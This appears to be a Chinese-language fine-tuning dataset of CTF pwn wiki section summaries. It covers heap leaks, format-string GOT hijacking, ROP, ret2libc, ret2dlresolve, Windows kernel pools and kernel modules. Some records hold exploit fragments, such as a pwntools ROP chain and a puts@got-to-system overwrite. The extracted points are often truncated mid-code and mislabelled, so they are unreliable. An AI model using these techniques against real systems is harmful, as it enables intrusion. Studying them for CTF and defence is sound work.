{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-baefe9520fd0e73f4b2d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md` 中的章节「信息泄漏的目标」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md`\n标题：通过堆进行信息泄漏\n章节：通过堆进行信息泄漏 > 信息泄漏的目标\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“信息泄漏的目标”展开。\n- 第二个是堆地址，堆地址对于进程来说是每次运行都会改变，当然需要控制堆中的数据时可能就需要先泄漏堆基地址。\n- 第三个是libc.so的地址，在很多情况下我们只有通过libc中的system等函数才能实现代码执行，并且malloc_hook、one_gadgets、IO_FILE等结构也都储存在libc中，因此libc的地址也是我们泄漏的目标。\n\n关键术语：\n- 堆\n- 栈\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 20 行，首行 `Start End Offset Perm Path`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1774, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "信息泄漏的目标", "heading_path": ["通过堆进行信息泄漏", "信息泄漏的目标"], "original_id": "docs-a3ba640d7daffe9628fc", "original_line": 1006, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md", "source_root": "docs", "source_sha256": "c7422be7213815830cc0d86e4be4369c4aed68443f0d60b3e86923927586bc37", "split": "train", "split_group_key": "69d3d063856d52ab717e4728", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "pwn", "linux", "user-mode", "heap"], "title": "通过堆进行信息泄漏"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-bbc940ccf36cee9fb403", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「1. 内存请求顺序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > 内存管理 > 二、Pool Memory（before 19H1） > 内存分配基本算法 > 1. 内存请求顺序\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“1. 内存请求顺序”展开。\n- 池内存的分配核心函数是 ExAllocatePoolWithTag(POOL_TYPE PoolType,SIZE_T NumberOfBytes,ULONG Tag) ，用户需要手动指定分配的池类型、需要的内存大小等信息，内核组件与驱动通常通过该 API 或是更上层的 Wrapper 完成内核中的内存分配请求 - 通用的池内存分配仅适用于小于 4080 字节的内存请求，对于大于这个大小的内存请求则内部会通过 nt!\n- ExpAllocateBigPool() 完成 - 首先会尝试根据请求的池类型从 _KPCR 的 LookasideList 区域的不同链表进行内存分配，如果可以满足则直接返回 - 若 LookasideList 无法满足，锁上对应的池，并尝试从 ListHeads 链表进行分配，若分配的池块大小大于所需则会将其分割为两块，一块返回给用户一块挂回 ListHeads 链表 - 若无可用池块，则会调用 nt!\n- MiAllocatePoolPages 分配内存页，并将其分割为两块，一块返回给用户一块挂回 ListHeads 链表\n\n关键术语：\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 483, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "1. 内存请求顺序", "heading_path": ["基础知识", "内存管理", "二、Pool Memory（before 19H1）", "内存分配基本算法", "1. 内存请求顺序"], "original_id": "docs-a3e06cb2f4f37287a847", "original_line": 1457, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "cf3448a60a4ac3cf724c5fc6", "subcategory": "pwn/windows/kernel-mode", "terms": ["pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-bbe5fc8284c6832d4808", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「漏洞利用思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > hijack GOT > 例子 > 漏洞利用思路\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“漏洞利用思路”展开。\n- 既然有了格式化字符串漏洞，那么我们可以确定如下的利用思路 - 绕过密码 - 确定格式化字符串参数偏移 - 利用 put@got 获取 put 函数地址，进而获取对应的 libc.so 的版本，进而获取对应 system 函数地址。\n- 修改 puts@got 的内容为 system 的地址。\n- 当程序再次执行 puts 函数的时候，其实执行的是 system 函数。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 186, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "漏洞利用思路", "heading_path": ["例子", "hijack GOT", "例子", "漏洞利用思路"], "original_id": "docs-381c4ae01d1251fecf57", "original_line": 861, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "42af60d4bc7d1c8e94cc7399", "subcategory": "pwn/linux/user-mode", "terms": ["密码学", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-bc070b960fbdb836f2dc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「分析程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：花式栈溢出技巧 > frame faking > 2018 安恒杯 over > 分析程序\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析程序”展开。\n- } `` 漏洞很明显, read 能读入 96 位, 但 buf 的长度只有 80, 因此能覆盖 rbp 以及 ret addr 但也只能覆盖到 rbp 和 ret addr, 因此也只能通过同时控制 rbp 以及 ret addr 来进行 rop 了\n- 放到 IDA 中进行分析 ``C __int64 __fastcall main(__int64 a1, char a2, char a3) { setvbuf(stdin, 0LL, 2, 0LL);\n- // [rsp+0h] [rbp-50h] memset(buf, 0, sizeof(buf));\n- setvbuf(stdout, 0LL, 2, 0LL);\n- while ( sub_400676() ) ;\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:c\n\n代码/命令片段线索：\n- C: 16 行，首行 `__int64 __fastcall main(__int64 a1, char **a2, char **a3)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 452, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "分析程序", "heading_path": ["花式栈溢出技巧", "frame faking", "2018 安恒杯 over", "分析程序"], "original_id": "docs-0e9436abedafe4ceaddf", "original_line": 1261, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "f9e9228f068931d9741223bb", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:c"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-bc6595fca2645d473678", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/build-kernel-module.md` 中的章节「基本的内核模块」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/build-kernel-module.md`\n标题：编写一个 Loadable Kernel Module\n章节：编写一个 Loadable Kernel Module > 基本的内核模块\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本的内核模块”展开。\n- } static __exit void a3kmod_exit(void) { printk(KERN_INFO \"[a3kmod:] Goodbye kernel world!\n- } module_init(a3kmod_init);\n- module_exit(a3kmod_exit);\n- MODULE_AUTHOR(\"arttnba3\");\n- MODULE_LICENSE(\"GPL v2\");\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:shell\n- code:c\n\n代码/命令片段线索：\n- shell: 7 行，首行 `$ tree .`\n- c: 21 行，首行 `/**`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 757, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "基本的内核模块", "heading_path": ["编写一个 Loadable Kernel Module", "基本的内核模块"], "original_id": "docs-45158b3d6a39965316cb", "original_line": 692, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel-module.md", "source_root": "docs", "source_sha256": "515975a5586b923eaaba1367517b2ebd6aa21fc9cee0a6411a4f62271a08f552", "split": "train", "split_group_key": "f844e2f3d9f8677a6879d9cf", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "pwn", "linux", "kernel-mode", "environment", "code:shell", "code:c"], "title": "编写一个 Loadable Kernel Module"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel-module.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-bcb5554c1b298ad5e45c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md` 中的章节「向系统返还内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md`\n标题：释放内存块\n章节：释放内存块 > _int_free > 合并非 mmap 的空闲 chunk > 向系统返还内存\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“向系统返还内存”展开。\n- // 主分配区 if (av == &main_arena) { #ifndef MORECORE_CANNOT_TRIM // top chunk 大于当前的收缩阙值 if ((unsigned long) (chunksize(av->top)) >= (unsigned long) (mp_.trim_threshold)) systrim(mp_.top_pad, av);\n- #endif // 非主分配区，则直接收缩heap } else { / Always try heap_trim(), even if the top chunk is not large, because the corresponding heap might go away. / heap_info *heap = heap_for_ptr(top(av));\n- assert(heap->ar_ptr == av);\n- heap_trim(heap, mp_.top_pad);\n- ``c++ / If freeing a large space, consolidate possibly-surrounding chunks.\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 37 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1268, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "向系统返还内存", "heading_path": ["释放内存块", "_int_free", "合并非 mmap 的空闲 chunk", "向系统返还内存"], "original_id": "docs-366fb5e7fe10052160aa", "original_line": 1136, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "source_root": "docs", "source_sha256": "1d6be6f5b7f2621b4a2b531049a02b0da7c6d59e797566776ae9571a59d5660e", "split": "train", "split_group_key": "8f5db01ab87febd6841a9bd1", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "释放内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-bd1273387d4c491252a9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「get all the addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > get all the addr\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“get all the addr”展开。\n- 需要注意的是 `python offset = (int)(math.ceil(len(payload) / 8.0) + 1) `` 这一行给出了修改后的地址在格式化字符串中的偏移，之所以是这样在于无论如何修改，由于 '%order$hn' 中 order 多出来的字符都不会大于 8。\n- 主要的思想是，将地址放在后面 8 字节对齐的地方，并对 payload 中的偏移进行修改。\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n代码/命令片段线索：\n- plain: 1 行，首行 `fmtstr\\_payload 直接得到的 payload 会将地址放在前面，而这个会导致 printf 的时候 '\\x00' 截断（**关于这一问题，pwntools目前正在开发 fmt\\_payload 的加强版，估计快开发出来了...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 675, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "get all the addr", "heading_path": ["例子", "get all the addr"], "original_id": "docs-f00797073c3e0c410f16", "original_line": 884, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "1d2c43ed13633566e58b69c9", "subcategory": "pwn/linux/user-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-bddf73e3fee861a3c826", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「leak link_map addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：leak link_map addr\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“leak link_map addr”展开。\n- rop = ROP(\"./main_partial_relro_64\") rop.raw(offset'a') rop.raw(csu(0, 1 ,elf.got['write'],1,0x601008,8)) rop.raw(vuln_addr) rop.raw(\"a\"(256-len(rop.chain()))) io.send(rop.chain()) link_map_addr = u64(io.recv(8)) print(hex(link_map_addr))\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 240, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "leak link_map addr", "heading_path": ["leak link_map addr"], "original_id": "docs-cbe0549bf5132aa8a924", "original_line": 1355, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "9818b645a7e7e583377adb32", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-be1e31e0263b032265c7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`\n标题：基本 ROP\n章节：基本 ROP > ret2text > 例子\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- > 点击下载: ret2text 首先，查看一下程序的保护机制： ``shell ➜ ret2text checksec ret2text Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ` 可以看出程序是 32 位程序，且仅开启了栈不可执行保护。\n- } ` 可以看出程序在主函数中使用了 gets 函数，显然存在栈溢出漏洞。\n- 下面就是我们如何构造 payload 了，首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。\n- 其实，在栈溢出的基本原理中，我们已经介绍了这一简单的攻击。\n- 接下来我们使用 IDA 反编译该程序： `C int __cdecl main(int argc, const char argv, const char envp) { int v4;\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:shell\n- code:c\n- code:asm\n- code:python\n\n代码/命令片段线索：\n- shell: 6 行，首行 `➜ ret2text checksec ret2text`\n- C: 10 行，首行 `int __cdecl main(int argc, const char **argv, const char **envp)`\n- asm: 23 行，首行 `.text:080485FD secure proc near`\n- asm: 3 行，首行 `.text:080486A7 lea eax, [esp+1Ch]`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2909, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "例子", "heading_path": ["基本 ROP", "ret2text", "例子"], "original_id": "docs-22350d1678c6810edf86", "original_line": 1247, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "source_root": "docs", "source_sha256": "057a5fc1a3ebb4d1e1c7911a1cc846c084c7768efcee467c77c24351625444cb", "split": "train", "split_group_key": "95632f6790364600b6154b89", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:shell", "code:c", "code:asm", "code:python"], "title": "基本 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-be60a94184357fee47d5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「例2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`\n标题：基本 ROP\n章节：zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26] > ret2libc > 例子 > 例2\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例2”展开。\n- 由于漏洞与上述一致，这里就不在多说，具体的 exp 如下： ``python #!\n- > 点击下载: ret2libc2 该题目与例 1 基本一致，只不过不再出现 /bin/sh 字符串，所以此次需要我们自己来读取字符串，所以我们需要两个 gadgets，第一个控制程序读取字符串，第二个控制程序执行 system(\"/bin/sh\")。\n- 这里以 bamboofox 中的 ret2libc2 为例 。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:python\n\n代码/命令片段线索：\n- python: 12 行，首行 `#!/usr/bin/env python3`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 709, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "例2", "heading_path": ["zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]", "ret2libc", "例子", "例2"], "original_id": "docs-79fdcc2064bcca70212b", "original_line": 1253, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "source_root": "docs", "source_sha256": "057a5fc1a3ebb4d1e1c7911a1cc846c084c7768efcee467c77c24351625444cb", "split": "train", "split_group_key": "b68e900f79e7f6bec8cc09c0", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:python"], "title": "基本 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-be61716a2669fda23271", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md`\n标题：CPU 虚拟化\n章节：CPU 虚拟化 > REFERENCE\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“REFERENCE”展开。\n- 《系统虚拟化：原理与实现》——Intel 开源软件技术中心 【VIRT.0x02】系统虚拟化导论 [Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 3C: System Programming Guide, Part 3](https://cdrdv2.intel.com/v1/dl/getContent/671506) Formal Requirements for Virtualizable Third Genera...\n\n关键术语：\n- pwn\n- virtualization\n- basic-knowledge\n- cpu-virtualization.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 401, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "REFERENCE", "heading_path": ["CPU 虚拟化", "REFERENCE"], "original_id": "docs-3a9755819bb4161d34cd", "original_line": 77, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/cpu-virtualization.md", "source_root": "docs", "source_sha256": "62195df706a3b215353c99b8c10a0bc6fd7a8ba0630c446bc0dd344eae945033", "split": "train", "split_group_key": "3bc9673d8af83c6ef912d35b", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["pwn", "virtualization", "basic-knowledge", "cpu-virtualization.md"], "title": "CPU 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/cpu-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
